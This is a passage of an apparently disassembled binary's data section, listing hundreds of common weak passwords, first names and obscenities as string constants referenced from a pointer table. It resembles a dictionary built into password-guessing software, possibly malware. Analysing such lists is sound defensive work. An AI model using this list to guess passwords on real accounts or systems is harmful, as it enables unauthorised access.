aSweat		db 'sweat',0            ; DATA XREF: .nsp0:0042A8F8o
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: .nsp0:0042A8F4o
aSuzie		db 'suzie',0            ; DATA XREF: .nsp0:0042A8F0o
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: .nsp0:0042A8ECo
aSusie		db 'susie',0            ; DATA XREF: .nsp0:0042A8E8o
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: .nsp0:0042A8E4o
aSusan		db 'susan',0            ; DATA XREF: .nsp0:0042A8E0o
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: .nsp0:0042A8DCo
aSurfer		db 'surfer',0           ; DATA XREF: .nsp0:0042A8D8o
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: .nsp0:0042A8D4o
		align 4
aSupport	db 'support',0          ; DATA XREF: .nsp0:0042A8D0o
aSupervis	db 'supervis',0         ; DATA XREF: .nsp0:0042A8CCo
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: .nsp0:0042A8C8o
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: .nsp0:0042A8C4o
		align 10h
aSuperson	db 'superson',0         ; DATA XREF: .nsp0:0042A8C0o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: .nsp0:0042A8BCo
		align 4
aSunday		db 'sunday',0           ; DATA XREF: .nsp0:0042A8B8o
		align 10h
aSummer		db 'summer',0           ; DATA XREF: .nsp0:0042A8B4o
		align 4
aSucks		db 'sucks',0            ; DATA XREF: .nsp0:0042A8B0o
		align 10h
aSuckmydi	db 'suckmydi',0         ; DATA XREF: .nsp0:0042A8ACo
		align 4
aSuck		db 'suck',0             ; DATA XREF: .nsp0:0042A8A8o
		align 4
aSuccess	db 'success',0          ; DATA XREF: .nsp0:0042A8A4o
aSubway		db 'subway',0           ; DATA XREF: .nsp0:0042A8A0o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: .nsp0:0042A89Co
		align 10h
aStuttgar	db 'stuttgar',0         ; DATA XREF: .nsp0:0042A898o
		align 4
aStrip		db 'strip',0            ; DATA XREF: .nsp0:0042A890o
		align 4
aString		db 'string',0           ; DATA XREF: .nsp0:0042A88Co
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: .nsp0:0042A888o
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: .nsp0:0042A884o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: .nsp0:0042A880o
		align 10h
aStrange	db 'strange',0          ; DATA XREF: .nsp0:0042A87Co
aStones		db 'stones',0           ; DATA XREF: .nsp0:0042A878o
		align 10h
aStoned		db 'stoned',0           ; DATA XREF: .nsp0:0042A874o
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: .nsp0:0042A870o
		align 4
aSteve		db 'steve',0            ; DATA XREF: .nsp0:0042A86Co
		align 4
aStereo		db 'stereo',0           ; DATA XREF: .nsp0:0042A868o
		align 4
aStephani	db 'stephani',0         ; DATA XREF: .nsp0:0042A864o
		align 10h
aSteph		db 'steph',0            ; DATA XREF: .nsp0:0042A860o
		align 4
aSteel		db 'steel',0            ; DATA XREF: .nsp0:0042A85Co
		align 10h
aSteal		db 'steal',0            ; DATA XREF: .nsp0:0042A858o
		align 4
aSteak		db 'steak',0            ; DATA XREF: .nsp0:0042A854o
		align 10h
aStarwars	db 'starwars',0         ; DATA XREF: .nsp0:0042A850o
		align 4
aStartup	db 'startup',0          ; DATA XREF: .nsp0:0042A84Co
aStartrek	db 'startrek',0         ; DATA XREF: .nsp0:0042A848o
		align 10h
aStart		db 'start',0            ; DATA XREF: .nsp0:00405FB0o
					; .nsp0:0042A844o
		align 4
aStarship	db 'starship',0         ; DATA XREF: .nsp0:0042A840o
		align 4
aStar		db 'star',0             ; DATA XREF: .nsp0:0042A83Co
		align 4
aStacy		db 'stacy',0            ; DATA XREF: .nsp0:0042A838o
		align 4
aStacie		db 'stacie',0           ; DATA XREF: .nsp0:0042A834o
		align 4
aStaci		db 'staci',0            ; DATA XREF: .nsp0:0042A830o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: .nsp0:0042A82Co
		align 4
aSr71		db 'sr71',0             ; DATA XREF: .nsp0:0042A828o
		align 4
aSquires	db 'squires',0          ; DATA XREF: .nsp0:0042A824o
aSpunk		db 'spunk',0            ; DATA XREF: .nsp0:0042A820o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: .nsp0:0042A81Co
		align 10h
aSpring		db 'spring',0           ; DATA XREF: .nsp0:0042A818o
		align 4
aSpred		db 'spred',0            ; DATA XREF: .nsp0:0042A814o
		align 10h
aSpit		db 'spit',0             ; DATA XREF: .nsp0:0042A810o
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: .nsp0:0042A80Co
		align 4
aSpider		db 'spider',0           ; DATA XREF: .nsp0:0042A808o
		align 4
aSpice		db 'spice',0            ; DATA XREF: .nsp0:0042A804o
		align 4
aSpell		db 'spell',0            ; DATA XREF: .nsp0:0042A800o
		align 4
aSpear		db 'spear',0            ; DATA XREF: .nsp0:0042A7FCo
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: .nsp0:0042A7F8o
		align 10h
aSpaceshi	db 'spaceshi',0         ; DATA XREF: .nsp0:0042A7F4o
		align 4
aSouth		db 'south',0            ; DATA XREF: .nsp0:0042A7F0o
		align 4
aSource		db 'source',0           ; DATA XREF: .nsp0:0042A7ECo
		align 4
aSossina	db 'sossina',0          ; DATA XREF: .nsp0:0042A7E8o
aSonya		db 'sonya',0            ; DATA XREF: .nsp0:0042A7E4o
		align 4
aSonic		db 'sonic',0            ; DATA XREF: .nsp0:0042A7E0o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: .nsp0:0042A7DCo
		align 4
aSondra		db 'sondra',0           ; DATA XREF: .nsp0:0042A7D8o
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: .nsp0:0042A7D4o
		align 10h
aSoftware	db 'software',0         ; DATA XREF: .nsp0:0042A7D0o
		align 4
aSoft		db 'soft',0
		align 4
aSodomy		db 'sodomy',0
		align 4
aSocrates	db 'socrates',0
		align 4
aSocial		db 'social',0
		align 10h
aSoap		db 'soap',0
		align 4
aSnoopy		db 'snoopy',0
		align 10h
aSnatch		db 'snatch',0
		align 4
aSnake		db 'snake',0
		align 10h
aSnafu		db 'snafu',0
		align 4
aSnach		db 'snach',0
		align 10h
aSmut		db 'smut',0
		align 4
aSmtp		db 'smtp',0
		align 10h
aSmother	db 'smother',0
aSmooch		db 'smooch',0
		align 10h
aSmiles		db 'smiles',0
		align 4
aSmile		db 'smile',0
		align 10h
aSmart		db 'smart',0
		align 4
aSmall		db 'small',0
		align 10h
aSlut		db 'slut',0
		align 4
aSlow		db 'slow',0
		align 10h
aSliders	db 'sliders',0
aSlick		db 'slick',0
		align 10h
aSlave		db 'slave',0
		align 4
aSkull		db 'skull',0
		align 10h
aSite		db 'site',0
		align 4
aSingle		db 'single',0
		align 10h
aSinger		db 'singer',0
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: .nsp0:0042A760o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: .nsp0:0042A75Co
		align 10h
aSimple		db 'simple',0           ; DATA XREF: .nsp0:0042A758o
		align 4
aSimon		db 'simon',0            ; DATA XREF: .nsp0:0042A754o
		align 10h
aSimcity	db 'simcity',0          ; DATA XREF: .nsp0:0042A750o
aSilver		db 'silver',0           ; DATA XREF: .nsp0:0042A74Co
		align 10h
aSignatur	db 'signatur',0         ; DATA XREF: .nsp0:0042A748o
		align 4
aSierra		db 'sierra',0           ; DATA XREF: .nsp0:0042A744o
		align 4
aSick		db 'sick',0             ; DATA XREF: .nsp0:0042A740o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: .nsp0:0042A73Co
aShort		db 'short',0            ; DATA XREF: .nsp0:0042A738o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: .nsp0:0042A734o
aShiva		db 'shiva',0            ; DATA XREF: .nsp0:0042A730o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: .nsp0:0042A72Co
aShit		db 'shit',0             ; DATA XREF: .nsp0:0042A728o
		align 4
aShirley	db 'shirley',0          ; DATA XREF: .nsp0:0042A724o
aShift		db 'shift',0            ; DATA XREF: .nsp0:0042A720o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: .nsp0:0042A71Co
		align 4
aShell		db 'shell',0            ; DATA XREF: .nsp0:0042A718o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: .nsp0:0042A714o
aSheffiel	db 'sheffiel',0         ; DATA XREF: .nsp0:0042A710o
		align 10h
aSharon		db 'sharon',0           ; DATA XREF: .nsp0:0042A70Co
		align 4
aSharks		db 'sharks',0           ; DATA XREF: .nsp0:0042A708o
		align 10h
aShark		db 'shark',0            ; DATA XREF: .nsp0:0042A704o
		align 4
aSharc		db 'sharc',0            ; DATA XREF: .nsp0:0042A700o
		align 10h
aShannon	db 'shannon',0          ; DATA XREF: .nsp0:0042A6FCo
aSexy		db 'sexy',0             ; DATA XREF: .nsp0:0042A6F8o
		align 10h
aSesame		db 'sesame',0           ; DATA XREF: .nsp0:0042A6F4o
		align 4
aService	db 'service',0          ; DATA XREF: .nsp0:0042A6F0o
aSerial		db 'serial',0           ; DATA XREF: .nsp0:0042A6ECo
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: .nsp0:0042A6E8o
		align 4
aSentry		db 'sentry',0           ; DATA XREF: .nsp0:0042A6E4o
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: .nsp0:0042A6E0o
		align 4
aSensor		db 'sensor',0           ; DATA XREF: .nsp0:0042A6DCo
		align 10h
aSega		db 'sega',0             ; DATA XREF: .nsp0:0042A6D8o
		align 4
aSeed		db 'seed',0             ; DATA XREF: .nsp0:0042A6D4o
		align 10h
aSecurity	db 'security',0         ; DATA XREF: .nsp0:0042A6D0o
		align 4
aSearch		db 'search',0           ; DATA XREF: .nsp0:0042A6CCo
		align 4
aScout		db 'scout',0            ; DATA XREF: .nsp0:0042A6C8o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: .nsp0:0042A6C4o
		align 4
aScott		db 'scott',0            ; DATA XREF: .nsp0:0042A6C0o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: .nsp0:0042A6BCo
		align 4
aScifi		db 'scifi',0            ; DATA XREF: .nsp0:0042A6B8o
		align 10h
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: .nsp0:0042A6B4o
aSchool		db 'school',0           ; DATA XREF: .nsp0:0042A6B0o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: .nsp0:0042A6ACo
		align 4
aScamper	db 'scamper',0          ; DATA XREF: .nsp0:0042A6A8o
aSaxon		db 'saxon',0            ; DATA XREF: .nsp0:0042A6A4o
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: .nsp0:0042A6A0o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: .nsp0:0042A69Co
		align 10h
aSarah		db 'sarah',0            ; DATA XREF: .nsp0:0042A698o
		align 4
aSara		db 'sara',0             ; DATA XREF: .nsp0:0042A694o
		align 10h
aSandy		db 'sandy',0            ; DATA XREF: .nsp0:0042A690o
		align 4
aSandra		db 'sandra',0           ; DATA XREF: .nsp0:0042A68Co
		align 10h
aSample		db 'sample',0           ; DATA XREF: .nsp0:0042A688o
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: .nsp0:0042A684o
		align 4
aSalt		db 'salt',0             ; DATA XREF: .nsp0:0042A680o
		align 4
aSale		db 'sale',0             ; DATA XREF: .nsp0:0042A67Co
		align 4
aSalami		db 'salami',0           ; DATA XREF: .nsp0:0042A678o
		align 4
aSafe		db 'safe',0             ; DATA XREF: .nsp0:0042A674o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: .nsp0:0042A670o
		align 4
aRush		db 'rush',0             ; DATA XREF: .nsp0:0042A66Co
		align 4
aRunning	db 'running',0          ; DATA XREF: .nsp0:0042A668o
aRules		db 'rules',0            ; DATA XREF: .nsp0:0042A664o
		align 4
aRude		db 'rude',0             ; DATA XREF: .nsp0:0042A660o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: .nsp0:0042A65Co
		align 4
aRuben		db 'ruben',0            ; DATA XREF: .nsp0:0042A658o
		align 4
aRubber		db 'rubber',0           ; DATA XREF: .nsp0:0042A654o
		align 4
aRough		db 'rough',0            ; DATA XREF: .nsp0:0042A650o
		align 4
aRoses		db 'roses',0            ; DATA XREF: .nsp0:0042A64Co
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: .nsp0:0042A648o
		align 10h
aRosebud	db 'rosebud',0          ; DATA XREF: .nsp0:0042A644o
aRose		db 'rose',0             ; DATA XREF: .nsp0:0042A640o
		align 10h
aRonald		db 'ronald',0           ; DATA XREF: .nsp0:0042A63Co
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: .nsp0:0042A638o
aRomeo		db 'romeo',0            ; DATA XREF: .nsp0:0042A634o
		align 4
aRomano		db 'romano',0           ; DATA XREF: .nsp0:0042A630o
		align 10h
aRolex		db 'rolex',0            ; DATA XREF: .nsp0:0042A62Co
		align 4
aRodent		db 'rodent',0           ; DATA XREF: .nsp0:0042A628o
		align 10h
aRockyhor	db 'rockyhor',0         ; DATA XREF: .nsp0:0042A624o
		align 4
aRocky		db 'rocky',0            ; DATA XREF: .nsp0:0042A620o
		align 4
aRock		db 'rock',0             ; DATA XREF: .nsp0:0042A61Co
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: .nsp0:0042A618o
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: .nsp0:0042A614o
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: .nsp0:0042A610o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: .nsp0:0042A60Co
		align 4
aRobot		db 'robot',0            ; DATA XREF: .nsp0:0042A608o
		align 10h
aRobin		db 'robin',0            ; DATA XREF: .nsp0:0042A604o
		align 4
aRobert		db 'robert',0           ; DATA XREF: .nsp0:0042A600o
		align 10h
aRoach		db 'roach',0            ; DATA XREF: .nsp0:0042A5FCo
		align 4
aRisc		db 'risc',0             ; DATA XREF: .nsp0:0042A5F8o
		align 10h
aRipple		db 'ripple',0           ; DATA XREF: .nsp0:0042A5F4o
		align 4
aRiot		db 'riot',0             ; DATA XREF: .nsp0:0042A5F0o
		align 10h
aRing		db 'ring',0             ; DATA XREF: .nsp0:0042A5ECo
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: .nsp0:0042A5E8o
		align 4
aRight		db 'right',0            ; DATA XREF: .nsp0:0042A5E4o
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: .nsp0:0042A5E0o
		align 4
aRick		db 'rick',0             ; DATA XREF: .nsp0:0042A5DCo
		align 10h
aRich		db 'rich',0             ; DATA XREF: .nsp0:0042A5D8o
		align 4
aRhino		db 'rhino',0            ; DATA XREF: .nsp0:0042A5D4o
		align 10h
aReveal		db 'reveal',0           ; DATA XREF: .nsp0:0042A5D0o
		align 4
aResistan	db 'resistan',0         ; DATA XREF: .nsp0:0042A5CCo
		align 4
aRepublic	db 'republic',0         ; DATA XREF: .nsp0:0042A5C8o
		align 10h
aReport		db 'report',0           ; DATA XREF: .nsp0:0042A5C4o
		align 4
aRent		db 'rent',0             ; DATA XREF: .nsp0:0042A5C0o
		align 10h
aReno		db 'reno',0             ; DATA XREF: .nsp0:0042A5BCo
		align 4
aRenee		db 'renee',0            ; DATA XREF: .nsp0:0042A5B8o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: .nsp0:0042A5B4o
		align 4
aRelease	db 'release',0          ; DATA XREF: .nsp0:0042A5B0o
aRegional	db 'regional',0         ; DATA XREF: .nsp0:0042A5ACo
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: .nsp0:0042A5A8o
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: .nsp0:0042A5A4o
aReddawn	db 'reddawn',0          ; DATA XREF: .nsp0:0042A5A0o
aRecord		db 'record',0           ; DATA XREF: .nsp0:0042A59Co
		align 10h
aRebel		db 'rebel',0            ; DATA XREF: .nsp0:0042A598o
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: .nsp0:0042A594o
aRebal		db 'rebal',0            ; DATA XREF: .nsp0:0042A590o
		align 4
aReaper		db 'reaper',0           ; DATA XREF: .nsp0:0042A58Co
		align 10h
aReam		db 'ream',0             ; DATA XREF: .nsp0:0042A588o
		align 4
aReally		db 'really',0           ; DATA XREF: .nsp0:0042A584o
		align 10h
aReality	db 'reality',0          ; DATA XREF: .nsp0:0042A580o
aReagan		db 'reagan',0           ; DATA XREF: .nsp0:0042A57Co
		align 10h
aRazor		db 'razor',0            ; DATA XREF: .nsp0:0042A578o
		align 4
aRascal		db 'rascal',0           ; DATA XREF: .nsp0:0042A574o
		align 10h
aRape		db 'rape',0             ; DATA XREF: .nsp0:0042A570o
		align 4
aRandom_0	db 'random',0           ; DATA XREF: .nsp0:00406D40o
					; .nsp0:0042A56Co
		align 10h
aRaleigh	db 'raleigh',0          ; DATA XREF: .nsp0:0042A568o
aRaindrop	db 'raindrop',0         ; DATA XREF: .nsp0:0042A564o
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: .nsp0:0042A560o
aRain		db 'rain',0             ; DATA XREF: .nsp0:0042A55Co
		align 4
aRaid		db 'raid',0             ; DATA XREF: .nsp0:0042A558o
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: .nsp0:0042A554o
		align 4
aRachelle	db 'rachelle',0         ; DATA XREF: .nsp0:0042A550o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: .nsp0:0042A54Co
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: .nsp0:0042A548o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .nsp0:0042A544o
					; .nsp0:0042B29Co
		align 4
aQwert		db 'qwert',0            ; DATA XREF: .nsp0:0042A540o
					; .nsp0:0042B298o
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: .nsp0:0042A53Co
		align 4
aPussy		db 'pussy',0            ; DATA XREF: .nsp0:0042A538o
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: .nsp0:0042A534o
		align 4
aPunk		db 'punk',0             ; DATA XREF: .nsp0:0042A530o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: .nsp0:0042A52Co
		align 10h
aPuneet		db 'puneet',0           ; DATA XREF: .nsp0:0042A528o
		align 4
aPumpkin	db 'pumpkin',0          ; DATA XREF: .nsp0:0042A524o
aPuke		db 'puke',0             ; DATA XREF: .nsp0:0042A520o
		align 4
aPuck		db 'puck',0             ; DATA XREF: .nsp0:0042A51Co
		align 10h
aPublic		db 'public',0           ; DATA XREF: .nsp0:0042A518o
		align 4
aPsychopa	db 'psychopa',0         ; DATA XREF: .nsp0:0042A514o
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: .nsp0:0042A510o
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: .nsp0:0042A50Co
		align 4
aProtect	db 'protect',0          ; DATA XREF: .nsp0:0042A508o
aPrompt		db 'prompt',0           ; DATA XREF: .nsp0:0042A504o
		align 4
aProgram	db 'program',0          ; DATA XREF: .nsp0:0042A500o
aProfile	db 'profile',0          ; DATA XREF: .nsp0:0042A4FCo
aProfesso	db 'professo',0         ; DATA XREF: .nsp0:0042A4F8o
		align 4
aProcesso	db 'processo',0         ; DATA XREF: .nsp0:0042A4F4o
		align 10h
aProceed	db 'proceed',0          ; DATA XREF: .nsp0:0042A4F0o
aPrivs		db 'privs',0            ; DATA XREF: .nsp0:0042A4ECo
		align 10h
aPrivate	db 'private',0          ; DATA XREF: .nsp0:0042A4E8o
aPriv		db 'priv',0             ; DATA XREF: .nsp0:0042A4E4o
		align 10h
aPrinter	db 'printer',0          ; DATA XREF: .nsp0:0042A4E0o
aPrinceto	db 'princeto',0         ; DATA XREF: .nsp0:0042A4DCo
		align 4
aPrince		db 'prince',0           ; DATA XREF: .nsp0:0042A4D8o
		align 4
aPresto		db 'presto',0           ; DATA XREF: .nsp0:0042A4D4o
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: .nsp0:0042A4D0o
aPrecious	db 'precious',0         ; DATA XREF: .nsp0:0042A4CCo
		align 4
aPraise		db 'praise',0           ; DATA XREF: .nsp0:0042A4C8o
		align 10h
aPower		db 'power',0            ; DATA XREF: .nsp0:0042A4C4o
		align 4
aPoster		db 'poster',0           ; DATA XREF: .nsp0:0042A4C0o
		align 10h
aPost		db 'post',0             ; DATA XREF: .nsp0:0042A4BCo
		align 4
aPorsche	db 'porsche',0          ; DATA XREF: .nsp0:0042A4B8o
aPorno		db 'porno',0            ; DATA XREF: .nsp0:0042A4B4o
		align 4
aPorn		db 'porn',0             ; DATA XREF: .nsp0:0042A4B0o
		align 10h
aPork		db 'pork',0             ; DATA XREF: .nsp0:0042A4ACo
		align 4
aPoor		db 'poor',0             ; DATA XREF: .nsp0:0042A4A8o
		align 10h
aPoop		db 'poop',0             ; DATA XREF: .nsp0:0042A4A4o
		align 4
aPonderin	db 'ponderin',0         ; DATA XREF: .nsp0:0042A4A0o
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: .nsp0:0042A49Co
		align 10h
aPolly		db 'polly',0            ; DATA XREF: .nsp0:0042A498o
		align 4
aPolice		db 'police',0           ; DATA XREF: .nsp0:0042A494o
		align 10h
aPoetry		db 'poetry',0           ; DATA XREF: .nsp0:0042A490o
		align 4
aPlymouth	db 'plymouth',0         ; DATA XREF: .nsp0:0042A48Co
		align 4
aPluto		db 'pluto',0            ; DATA XREF: .nsp0:0042A488o
		align 4
aPlover		db 'plover',0           ; DATA XREF: .nsp0:0042A484o
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: .nsp0:0042A480o
aPlane		db 'plane',0            ; DATA XREF: .nsp0:0042A47Co
		align 4
aPizza		db 'pizza',0            ; DATA XREF: .nsp0:0042A478o
		align 4
aPiss		db 'piss',0             ; DATA XREF: .nsp0:0042A474o
		align 4
aPinname	db 'pinname',0          ; DATA XREF: .nsp0:0042A470o
aPimp		db 'pimp',0             ; DATA XREF: .nsp0:0042A46Co
		align 4
aPierre		db 'pierre',0           ; DATA XREF: .nsp0:0042A468o
		align 4
aPick		db 'pick',0             ; DATA XREF: .nsp0:0042A464o
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: .nsp0:0042A460o
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: .nsp0:0042A45Co
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: .nsp0:0042A458o
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: .nsp0:0042A454o
		align 4
aPhoton		db 'photon',0           ; DATA XREF: .nsp0:0042A450o
		align 4
aPhone		db 'phone',0            ; DATA XREF: .nsp0:0042A44Co
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: .nsp0:0042A448o
aPhilip		db 'philip',0           ; DATA XREF: .nsp0:0042A444o
		align 4
aPhil		db 'phil',0             ; DATA XREF: .nsp0:0042A440o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .nsp0:0042A43Co
		align 4
aPete		db 'pete',0             ; DATA XREF: .nsp0:0042A438o
		align 4
aPervert	db 'pervert',0          ; DATA XREF: .nsp0:0042A434o
aPersona	db 'persona',0          ; DATA XREF: .nsp0:0042A430o
aPersimmo	db 'persimmo',0         ; DATA XREF: .nsp0:0042A42Co
		align 4
aPermit		db 'permit',0           ; DATA XREF: .nsp0:0042A428o
		align 10h
aPerfect	db 'perfect',0          ; DATA XREF: .nsp0:0042A424o
aPercolat	db 'percolat',0         ; DATA XREF: .nsp0:0042A420o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: .nsp0:0042A41Co
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: .nsp0:0042A418o
		align 4
aPentium	db 'pentium',0          ; DATA XREF: .nsp0:0042A414o
aPenthous	db 'penthous',0         ; DATA XREF: .nsp0:0042A410o
		align 4
aPentagra	db 'pentagra',0         ; DATA XREF: .nsp0:0042A40Co
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: .nsp0:0042A408o
		align 10h
aPenname	db 'penname',0          ; DATA XREF: .nsp0:0042A404o
aPenis		db 'penis',0            ; DATA XREF: .nsp0:0042A400o
		align 10h
aPenguin	db 'penguin',0          ; DATA XREF: .nsp0:0042A3FCo
aPenelope	db 'penelope',0         ; DATA XREF: .nsp0:0042A3F8o
		align 4
aPencil		db 'pencil',0           ; DATA XREF: .nsp0:0042A3F4o
		align 4
aPecker		db 'pecker',0           ; DATA XREF: .nsp0:0042A3F0o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: .nsp0:0042A3ECo
aPaula		db 'paula',0            ; DATA XREF: .nsp0:0042A3E8o
		align 4
aPatty		db 'patty',0            ; DATA XREF: .nsp0:0042A3E4o
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: .nsp0:0042A3E0o
aPatricia	db 'patricia',0         ; DATA XREF: .nsp0:0042A3DCo
		align 10h
aPaste		db 'paste',0            ; DATA XREF: .nsp0:0042A3D8o
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: .nsp0:0042A3D4o
		align 4
aPascal		db 'pascal',0           ; DATA XREF: .nsp0:0042A3D0o
		align 4
aPapers		db 'papers',0           ; DATA XREF: .nsp0:0042A3CCo
		align 4
aPaper		db 'paper',0            ; DATA XREF: .nsp0:0042A3C8o
		align 4
aPapa		db 'papa',0             ; DATA XREF: .nsp0:0042A3C4o
		align 4
aPamela		db 'pamela',0           ; DATA XREF: .nsp0:0042A3C0o
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: .nsp0:0042A3BCo
		align 4
aPaint		db 'paint',0            ; DATA XREF: .nsp0:0042A3B8o
		align 10h
aPainless	db 'painless',0         ; DATA XREF: .nsp0:0042A3B4o
		align 4
aPacker		db 'packer',0           ; DATA XREF: .nsp0:0042A3B0o
		align 4
aPackard	db 'packard',0          ; DATA XREF: .nsp0:0042A3ACo
aPacific	db 'pacific',0          ; DATA XREF: .nsp0:0042A3A8o
aOxford		db 'oxford',0           ; DATA XREF: .nsp0:0042A3A4o
		align 4
aOutside	db 'outside',0          ; DATA XREF: .nsp0:0042A3A0o
aOutput		db 'output',0           ; DATA XREF: .nsp0:0042A39Co
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: .nsp0:0042A398o
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: .nsp0:0042A394o
		align 10h
aOsiris		db 'osiris',0           ; DATA XREF: .nsp0:0042A390o
		align 4
aOscar		db 'oscar',0            ; DATA XREF: .nsp0:0042A38Co
		align 10h
aOrwell		db 'orwell',0           ; DATA XREF: .nsp0:0042A388o
		align 4
aOrient		db 'orient',0           ; DATA XREF: .nsp0:0042A384o
		align 10h
aOrca		db 'orca',0             ; DATA XREF: .nsp0:0042A380o
		align 4
aOperator	db 'operator',0         ; DATA XREF: .nsp0:0042A37Co
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: .nsp0:0042A378o
		align 10h
aOpenlock	db 'openlock',0         ; DATA XREF: .nsp0:0042A374o
		align 4
aOpening	db 'opening',0          ; DATA XREF: .nsp0:0042A370o
aOpen		db 'open',0             ; DATA XREF: .nsp0:0040594Ao
					; .nsp0:0040736Eo ...
		align 4
aOmega		db 'omega',0            ; DATA XREF: .nsp0:0042A368o
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: .nsp0:0042A364o
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: .nsp0:0042A360o
		align 4
aOldage		db 'oldage',0           ; DATA XREF: .nsp0:0042A35Co
		align 10h
aOkay		db 'okay',0             ; DATA XREF: .nsp0:0042A358o
		align 4
aOffice		db 'office',0           ; DATA XREF: .nsp0:0042A354o
		align 10h
aOcelot		db 'ocelot',0           ; DATA XREF: .nsp0:0042A350o
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: .nsp0:0042A34Co
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: .nsp0:0042A348o
		align 10h
aNyquist	db 'nyquist',0          ; DATA XREF: .nsp0:0042A344o
aNuts		db 'nuts',0             ; DATA XREF: .nsp0:0042A340o
		align 10h
aNutritio	db 'nutritio',0         ; DATA XREF: .nsp0:0042A33Co
		align 4
aNumber		db 'number',0           ; DATA XREF: .nsp0:0042A338o
		align 4
aNull_1		db 'null',0             ; DATA XREF: .nsp0:0042A334o
		align 4
aNukem		db 'nukem',0            ; DATA XREF: .nsp0:0042A330o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: .nsp0:0042A32Co
		align 4
aNude		db 'nude',0             ; DATA XREF: .nsp0:0042A328o
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: .nsp0:0042A324o
aNoxious	db 'noxious',0          ; DATA XREF: .nsp0:0042A320o
aNovember	db 'november',0         ; DATA XREF: .nsp0:0042A31Co
		align 10h
aNovel		db 'novel',0            ; DATA XREF: .nsp0:0042A318o
		align 4
aNova		db 'nova',0             ; DATA XREF: .nsp0:0042A314o
		align 10h
aNoth		db 'noth',0             ; DATA XREF: .nsp0:0042A310o
		align 4
aNotes		db 'notes',0            ; DATA XREF: .nsp0:0042A30Co
		align 10h
aNoreen		db 'noreen',0           ; DATA XREF: .nsp0:0042A308o
		align 4
aNode		db 'node',0             ; DATA XREF: .nsp0:0042A304o
		align 10h
aNobody		db 'nobody',0           ; DATA XREF: .nsp0:0042A300o
		align 4
aNoble		db 'noble',0            ; DATA XREF: .nsp0:0042A2FCo
		align 10h
aNnaacp		db 'nnaacp',0           ; DATA XREF: .nsp0:0042A2F8o
		align 4
aNita		db 'nita',0             ; DATA XREF: .nsp0:0042A2F4o
